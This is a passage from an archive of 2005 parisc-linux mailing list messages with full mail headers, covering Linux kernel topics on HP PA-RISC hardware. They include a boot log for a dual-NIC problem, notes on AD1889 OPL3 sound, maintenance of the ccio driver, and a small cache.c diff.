6. Merlin+ 132 Core Centronics at 0xffd02000 [8/16/0] { 10, 0x0, 0x03e, 
0x00074
 },  additional addresses: 0xffd01000 0xffd03000
7. Merlin+ 132 Core Audio at 0xffd04000 [8/16/1] { 10, 0x4, 0x03e, 0x0007b }
8. Merlin+ 132 Core RS-232 at 0xffd05000 [8/16/4] { 10, 0x0, 0x03e, 
0x0008c }
9. Merlin+ 132 Core SCSI at 0xffd06000 [8/16/5] { 10, 0x0, 0x03e, 0x00082 }
10. Merlin+ 132 Core PS/2 Port at 0xffd08000 [8/16/7] { 10, 0x0, 0x03e, 
0x00084
 }
11. Merlin+ 132 Core PS/2 Port at 0xffd08100 [8/16/8] { 10, 0x0, 0x03e, 
0x00084
 }
12. Merlin+ 132 Core PC Floppy at 0xffd0a000 [8/16/10] { 10, 0x0, 0x03e, 
0x0008
3 }
13. Gecko GSC Core Graphics at 0xf8000000 [8/24] { 10, 0x0, 0x016, 
0x00085 },
additional addresses: 0xf0011000
14. Merlin L2+ 132 (9000/778/B132L) at 0xfffbe000 [62] { 0, 0x0, 0x503, 
0x00004
 }
15. Memory at 0xfffbf000 [63] { 1, 0x0, 0x061, 0x00009 }
CPU(s): 1 x PA7300LC (PCX-L2) at 132.000000 MHz
Lasi version 0 at 0xffd00000 found.
Dino [8/0] version 3.1 found at 0xfff80000
SCSI subsystem initialized
TC classifier action (bugs to netdev@oss.sgi.com cc hadi@cyberus.ca)
STI GSC/PCI core graphics driver Version 0.9a
    id 2d08c0a7-9a02587, conforms to spec rev. 8.07
    graphics card name: INTERNAL_EG_640
fb0: stifb 640x480-8 frame buffer device, INTERNAL_EG_640, id: 2d08c0a7, 
mmio:
0xf8100000
unwind_init: start = 0x10325720, end = 0x103468a0, entries = 8472
VFS: Disk quotas dquot_6.5.1
Dquot-cache hash table entries: 1024 (order 0, 4096 bytes)
devfs: 2004-01-31 Richard Gooch (rgooch@atnf.csiro.au)
devfs: boot_options: 0x0
Initializing Cryptographic API
Soft power switch enabled, polling @ 0xf0140000.
Console: switching to colour frame buffer device 80x30
Generic RTC Driver v1.07
Serial: 8250/16550 driver $Revision: 1.90 $ 25 ports, IRQ sharing enabled
ttyS0 at MMIO 0xffd05800 (irq = 90) is a 16550A
ttyS1 at MMIO 0xfff83800 (irq = 106) is a 16550A
RAMDISK driver initialized: 16 RAM disks of 8192K size 1024 blocksize
mice: PS/2 mouse device common for all mice
serio: GSC PS2 keyboard port at 0xffd08000 irq 69 @ parisc8:16:7
input: AT Raw Set 2 keyboard on parisc8:16:7
serio: GSC PS2 mouse port at 0xffd08100 irq 69 @ parisc8:16:8
HP SDC: No SDC found.
HP SDC MLC: Registering the System Domain Controller's HIL MLC.
HP SDC MLC: Request for raw HIL ISR hook denied
NET: Registered protocol family 2
IP: routing cache hash table of 4096 buckets, 32Kbytes
TCP: Hash tables configured (established 32768 bind 65536)
RAMDISK: cramfs filesystem found at block 0
RAMDISK: Loading 4600 blocks [1 disk] into ram disk...done.
VFS: Mounted root (cramfs filesystem) readonly.
Freeing unused kernel memory: 316k freed
Linux Tulip driver version 1.1.13 (May 11, 2002)
tulip0:  EEPROM default media type Autosense.
tulip0:  Index #0 - Media MII (#11) described by a 21142 MII PHY (3) block.
tulip0: ***WARNING***: No MII transceiver found!
eth0: Digital DS21143 Tulip rev 65 at 0xf0801000, 00:60:B0:B3:25:1E, IRQ 97.
tulip1: no phy info, aborting mtable build
tulip1:  MII transceiver #1 config 1000 status 782d advertising 01e1.
eth1: Digital DS21143 Tulip rev 65 at 0xf0802000, 00:10:83:03:FD:E6, IRQ 96.

--- schnipp ---


Any idea how to solve the Problem ?!


TIA

Ullrich Seibel

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stuart Brady <sdbrady@ntlworld.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] AD1889 OPL3 Synthesis
Date: Sun, 26 Jun 2005 15:53:54 +0100
Lines: 52
Approved: news@gmane.org
Message-ID: <20050626145353.GA2566@ntlworld.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623819 15059 80.91.229.3 (22 Nov 2014 02:36:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:59 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:22 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 26 Jun 2005 14:54:08 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx039) with SMTP; 26 Jun 2005 16:54:08 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7D2E47D6D9;
	Sun, 26 Jun 2005 08:54:05 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26347-10; Sun, 26 Jun 2005 08:54:05 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 450E07D6DE;
	Sun, 26 Jun 2005 08:54:04 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 710C17D6D9
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 26 Jun 2005 08:54:00 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26347-06 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 26 Jun 2005 08:54:00 -0600 (MDT)
Original-Received: from mta09-winn.ispmail.ntl.com (mta09-winn.ispmail.ntl.com
	[81.103.221.49])
	by free.linux.hp.com (Postfix) with ESMTP id 8ED037D6D7
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 26 Jun 2005 08:53:59 -0600 (MDT)
Original-Received: from aamta12-winn.ispmail.ntl.com ([81.103.221.35])
	by mta09-winn.ispmail.ntl.com with ESMTP id
	<20050626145358.MNRT11649.mta09-winn.ispmail.ntl.com@aamta12-winn.ispmail.ntl.com>
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 26 Jun 2005 15:53:58 +0100
Original-Received: from janus ([82.9.44.76]) by aamta12-winn.ispmail.ntl.com with ESMTP
	id <20050626145358.OKNE14072.aamta12-winn.ispmail.ntl.com@janus>
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 26 Jun 2005 15:53:58 +0100
Original-Received: from sdb by janus with local (Exim 3.35 #1 (Debian))
	id 1DmYWB-0000gm-00 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 26 Jun 2005 15:53:55 +0100
Mail-Followup-To: parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: xqTMYrozeSEkVb6WZHQhaXN1IGRvb8CL
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22827

I thought I'd explain what's needed to get the AD1889's OPL3 synthesis
working.  (BTW, OPL3 synthesis is pretty primative.)

ALSA provides everything needed to use the OPL3 device.  Most drivers
initialise the hardware if necessary, and then call snd_opl3_create()
followed by snd_opl3_hwdep_new().  snd_opl3_free() is automatically
called by the ALSA layer when the module is unloaded, so there's no need
to call it explicitly.

snd_opl3_create() takes port addresses, so I've had to add a new
function, snd_opl3_create_mapped().  This isn't in mainline 2.6.12 yet.

I'm not happy with the snd_opl3_create_mapped() interface yet...  The
AD1889 driver maps the region containing the OPL3 registers, but the
OPL3 driver does the iounmap().  I've been told that this is the right
way to do it, but it still seems broken.

There should only be one change needed to get the AD1889 OPL3 support
working though.  The DS_SYDA register has to be set, so that it's not
muted, and that the attenuation is set reasonably.  Which is either:

	ad1889_writew(chip, AD_DS_SYDA, 0x3f3f);
	ad1889_readw(chip, AD_DS_SYDA);

or the constant should be 0x0000 rather than 0x3f3f.

I used playmidi for testing.  There are some example MIDI files:
/usr/share/doc/playmidi/examples/*.mid.gz.  Unfortunately, ALSA's OPL3
code has some bugs which affect the quality of the music produced.
Also, playmidi's instruments need some work.

I was getting silence when testing before, but it otherwise appeared to
be working.  There's probably a mixer channel associated with the OPL3
(or SYN, see below) which must be used.  I have no idea which this is.

It seems that if the SYEN bit in the DS_WSMC register is set, this
enables a secondary wave channel (which is called SYN, just to be
confusing) and _disables_ the OPL3 - which results in an HPMC if an
attempt is made to use the OPL3's registers.

The RES channel appears to be take the output of the SYN channel or the
OPL3 (whichever is enabled), resampling it at the rate specified by the
DS_RES register.  It looks as though the SYN channel's sample rate and
format is always that of the WAV channel, which limits its use.
-- 
Stuart Brady
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Problem with two NICs on B132L+
Date: Sun, 26 Jun 2005 14:42:02 -0600
Lines: 21
Approved: news@gmane.org
Message-ID: <20050626204202.GB3338@colo.lackof.org>
References: <42BEB9B5.4090108@bigfoot.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623820 15068 80.91.229.3 (22 Nov 2014 02:37:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:00 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Ullrich Seibel <useibel@bigfoot.de>
Original-X-From: - Wed Jul 02 21:27:22 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 26 Jun 2005 20:38:02 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx045) with SMTP; 26 Jun 2005 22:38:02 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CF3827D6E3;
	Sun, 26 Jun 2005 14:37:58 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29132-01; Sun, 26 Jun 2005 14:37:58 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B79E47D6D4;
	Sun, 26 Jun 2005 14:37:57 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EC8797D6CB
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 26 Jun 2005 14:37:54 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28920-05 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 26 Jun 2005 14:37:54 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 6C4207D6C2
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 26 Jun 2005 14:37:54 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 8B694298052;
	Sun, 26 Jun 2005 14:42:03 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04043-10; Sun, 26 Jun 2005 14:42:02 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 2D8AB29802F; Sun, 26 Jun 2005 14:42:02 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <42BEB9B5.4090108@bigfoot.de>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: fHfNYlVOeSEkX76WZHQhaXN1IGRvbwDo
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22828

On Sun, Jun 26, 2005 at 04:20:37PM +0200, Ullrich Seibel wrote:
> tulip0:  Index #0 - Media MII (#11) described by a 21142 MII PHY (3) block.
> tulip0: ***WARNING***: No MII transceiver found!

Kyle McMartin needs to backport the patch Thibaut Varenet cooked up
with my help that fixes 21142 support. Ie Debian 2.6.8.x kernel
needs to roll if it wants to fix this problem.

This patch was recently accepted into -mm (Andrew Morton's source tree).

thanks for posting the entire console output.

hth,
grant

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ryan Bradetich <rbradetich@uswest.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: ccio-dma more debuging
Date: Sun, 26 Jun 2005 15:00:26 -0600
Lines: 36
Approved: news@gmane.org
Message-ID: <1119819626.21317.13.camel@localhost.localdomain>
References: <42933E2F0000A9DC@mail-1-bnl.tiscali.it>
	<20050621171823.GB16368@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623820 15078 80.91.229.3 (22 Nov 2014 02:37:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:00 +0000 (UTC)
Cc: Parisc List <parisc-linux@lists.parisc-linux.org>
To: Joel Soete <soete.joel@tiscali.be>,
 Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:22 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 26 Jun 2005 21:00:17 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx035) with SMTP; 26 Jun 2005 23:00:17 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D746C7D6EA;
	Sun, 26 Jun 2005 15:00:13 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29236-05; Sun, 26 Jun 2005 15:00:13 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 311697D6EC;
	Sun, 26 Jun 2005 15:00:13 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C60B57D6E3
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 26 Jun 2005 15:00:07 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29132-04 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 26 Jun 2005 15:00:07 -0600 (MDT)
Original-Received: from beavis.ybsoft.com (unknown [209.161.7.161])
	by free.linux.hp.com (Postfix) with ESMTP id 346C17D6D2
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 26 Jun 2005 15:00:07 -0600 (MDT)
Original-Received: from [10.0.230.8] (unknown [10.0.230.8])
	by beavis.ybsoft.com (Postfix) with ESMTP
	id 64F112B115; Mon, 21 Mar 2005 08:26:47 -0700 (MST)
In-Reply-To: <20050621171823.GB16368@colo.lackof.org>
X-Mailer: Evolution 2.2.1.1 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: NXLNYs4FeSEkUb6WZHQhaXN1IGRvb0DJ
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22829

Hello Joel and Grant,

On Tue, 2005-06-21 at 11:18 -0600, Grant Grundler wrote:

> Sorry - very short on time right now. Ryan Bradetich is still the official
> maintainer. If he doesn't have time to deal with it, lobby him to
> officially hand off to someone else. My impression was he was just
> very busy at work and wanted to get involved....this patch sounds like
> a nice easy thing to start with.

As work mentioned, several changes in work has kept me very busy and I
have not been able to spend  much time on non-work related projects like
the parisc-linux port.  I am working on getting this situation changed
so I can spend more time on project like this :)

I am still interested in maintaining the ccio driver (since almost all
my system have this driver) .. but I am also willing to hand over
maintenance to someone that has the interest and more time than I have
been able to commit to it.  Hopefully my time on this project will be
increasing in the future, but if someone is willing to step up to the
plate now and give ccio the attention it deserves, then I will not stand
in the way :)

I also want to thank willy, ggg, jejb and all who have supported this
driver while I have been busy with work.

Thanks,

- Ryan

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] parisc_setup_cache_timing() typo?
Date: Mon, 27 Jun 2005 14:01:07 +0200
Lines: 31
Approved: news@gmane.org
Message-ID: <42BAE7C300000D8E@mail-5-bnl.tiscali.it>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="ISO-8859-15"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623820 15086 80.91.229.3 (22 Nov 2014 02:37:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:00 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:22 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 27 Jun 2005 12:01:21 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx008) with SMTP; 27 Jun 2005 14:01:21 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6236D7D710;
	Mon, 27 Jun 2005 06:01:18 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 32713-05; Mon, 27 Jun 2005 06:01:18 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AC0F97D712;
	Mon, 27 Jun 2005 06:01:17 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BEFD27D70A
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 27 Jun 2005 06:01:13 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 32596-06 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 27 Jun 2005 06:01:13 -0600 (MDT)
Original-Received: from mrqout1.tiscali.it (mrqout1.tiscali.it [195.130.225.11])
	by free.linux.hp.com (Postfix) with ESMTP id 1CBF57D6FD
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 27 Jun 2005 06:01:13 -0600 (MDT)
Original-Received: from 10.39.115.135 by mrq-1 with esmtp (Exim)
	id 1DmsIX-0007ij-1f; Mon, 27 Jun 2005 14:01:10 +0200
Original-Received: from [57.67.177.33] by mail-5-bnl.tiscali.it with HTTP;
	Mon, 27 Jun 2005 14:01:07 +0200
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: xo/NYlgAeSEker6WZHQhaXN1IGRvb4B8
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22830

hello all,

Is it actualy a typo:
# diff -Nau arch/parisc/kernel/cache.c.Orig arch/parisc/kernel/cache.c  
  
--- arch/parisc/kernel/cache.c.Orig     2005-01-24 07:45:00.000000000 +01=
00
+++ arch/parisc/kernel/cache.c  2005-06-27 13:48:28.857534045 +0200
@@ -347,7 +347,7 @@
        flush_data_cache();
        alltime =3D mfctl(16) - alltime;
 
-       size =3D (unsigned long)(&_end - _text);
+       size =3D (unsigned long)(&_end - &_text);
        rangetime =3D mfctl(16);
        flush_kernel_dcache_range((unsigned long)&_text, size);
        rangetime =3D mfctl(16) - rangetime;
=3D=3D=3D=3D<>=3D=3D=3D=3D

or better have I to invest in new sun glaces ;-)

Thanks,
     Joel


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] PRINTK_TIME make panicing very early b2k?
Date: Mon, 27 Jun 2005 16:30:21 +0200
Lines: 135
Approved: news@gmane.org
Message-ID: <42BAE7C300000EB4@mail-5-bnl.tiscali.it>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="ISO-8859-15"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623821 15090 80.91.229.3 (22 Nov 2014 02:37:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:01 +0000 (UTC)
To: "Parisc List" <parisc-linux@lists.parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:22 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 27 Jun 2005 14:30:37 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx048) with SMTP; 27 Jun 2005 16:30:37 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 245307D701;
	Mon, 27 Jun 2005 08:30:32 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02665-01; Mon, 27 Jun 2005 08:30:31 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AFBB87D6B7;
	Mon, 27 Jun 2005 08:30:30 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8B89E7D693
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 27 Jun 2005 08:30:27 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
